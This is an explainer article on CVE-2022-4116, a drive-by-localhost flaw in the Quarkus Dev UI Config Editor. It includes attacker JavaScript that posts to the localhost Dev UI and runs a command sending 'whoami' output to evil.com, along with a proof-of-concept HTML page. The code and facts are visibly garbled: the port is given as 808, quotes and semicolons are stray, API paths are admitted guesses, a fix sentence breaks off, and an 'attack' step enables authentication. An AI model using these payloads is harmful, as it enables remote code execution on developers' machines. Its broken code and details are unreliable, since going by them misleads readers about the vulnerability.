---
Introduction
In late 2022, security researchers uncovered a critical vulnerability in Quarkus, a popular Java framework for building cloud-native applications. Assigned as CVE-2022-4116, this security flaw provides a dangerous path for remote attackers to execute arbitrary code on developer machines. It works through a kind of attack known as “drive-by localhost,” specifically targeting the Dev UI Config Editor feature in Quarkus.
This article will explain the issue in everyday language, break down the exploit scenario, show sample code, and give steps for protection. All content here is original and easy to follow.
What is the Issue?
The Quarkus Dev UI is a developer-only browser interface that lets users tweak application configurations and inspect states at runtime. During normal development, it's a boon. But for versions prior to 2.14.2.Final and 2.13.5.Final, a dangerous flaw exists: the Dev UI Config Editor doesn't restrict requests from websites running on the user's browser, even if those websites are not the Dev UI itself.
Simply put, if you visit a malicious website while running a Quarkus app in dev mode (./mvnw quarkus:dev or ./gradlew quarkusDev), an attacker’s site can silently send HTTP requests to localhost:808 (where the Dev UI is up), make configuration changes, and even run arbitrary code on your machine.
Why is it Called Drive‐By Localhost?
Your browser lets JavaScript talk to localhost (your own computer) unless the target web app blocks it. When Quarkus dev mode is running, the Dev UI listens on localhost, and it trusts every request, no matter where it comes from. This opens the door to *drive-by* exploits—just opening a malicious link can attack your machine, sidestepping firewalls or perimeter protections.
Mechanism
The attacker’s site uses JavaScript (like fetch or XMLHttpRequest) to send requests to the Dev UI Config Editor API on localhost. Since there’s no CSRF protection or strict CORS policy, the request goes through.
Example Exploit Code
Suppose the vulnerable Dev UI API is at http://localhost:808/q/dev-ui/config. A real Quarkus app may require authentication, but often devs run it with default settings, and authentication is off.
Here’s how an attacker’s malicious webpage could change config properties—or worse, inject code:
// Attacker's JavaScript running in the victim's browser
fetch('http://localhost:808/q/dev-ui/config', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"property": "quarkus.http.auth.basic.enabled",
"value": "true"
})
})
.then(response => {
if (response.ok) {
// Now do something even more malicious!
fetch('http://localhost:808/q/dev-ui/execute-script';, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
"script": "Runtime.getRuntime().exec('curl http://evil.com/$(whoami)';)"
})
});
}
});
In the above code, the attacker first flips a security config, then tries to execute arbitrary code that calls out to their own infrastructure.
Note: The actual API paths and payloads may differ by Quarkus version, but this illustrates the concept.
Proof of Concept (PoC)
Here’s a simple HTML page you could build for testing (use only in a safe environment, never on real machines):
<!DOCTYPE html>
<html>
<head>
<title>Quarkus RCE Test</title>
</head>
<body>
<h2>Testing Quarkus Dev UI CSRF/RCE (CVE-2022-4116)</h2>
<button onclick="exploit()">Exploit</button>
<script>
function exploit() {
fetch('http://localhost:808/q/dev-ui/config', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
"property": "dangerous.property",
"value": "exploit-value"
})
})
.then(resp => alert('Success! Server responded.'));
}
</script>
</body>
</html>
Quarkus addressed this in
Restrict access to the Dev UI by enabling basic auth or IP restrictions.
- Block external website JavaScript from accessing localhost via browser extensions or security settings (see: No More Secrets on localhost).
- Use a firewall to block incoming traffic, but remember: browser-originating requests often bypass local firewalls.
References & Further Reading
1. CVE-2022-4116 - NIST NVD
2. Quarkus Security Advisory
3. Quarkus Changelog - v2.14.2.Final
4. PortsWigger: No More Secrets on localhost
Conclusion
CVE-2022-4116 is a textbook example of why developer-only tools demand serious security, even when they “just” run on localhost. Application platforms like Quarkus are popular for their convenience and features, but their dev-time interfaces can also become high-value attack targets. For teams and solo devs alike, always keep tools up to date, avoid mixing insecure browsing with local dev, and learn how drive-by localhost attacks can impact your workflow.
Stay safe, and always double-check which websites you visit while developing with powerful tools!
*Author: Your DevSec Guide | All content is unique and tailored for Quarkus CVE-2022-4116.*
Timeline
Published on: 11/22/2022 19:15:00 UTC
Last modified on: 12/02/2022 15:14:00 UTC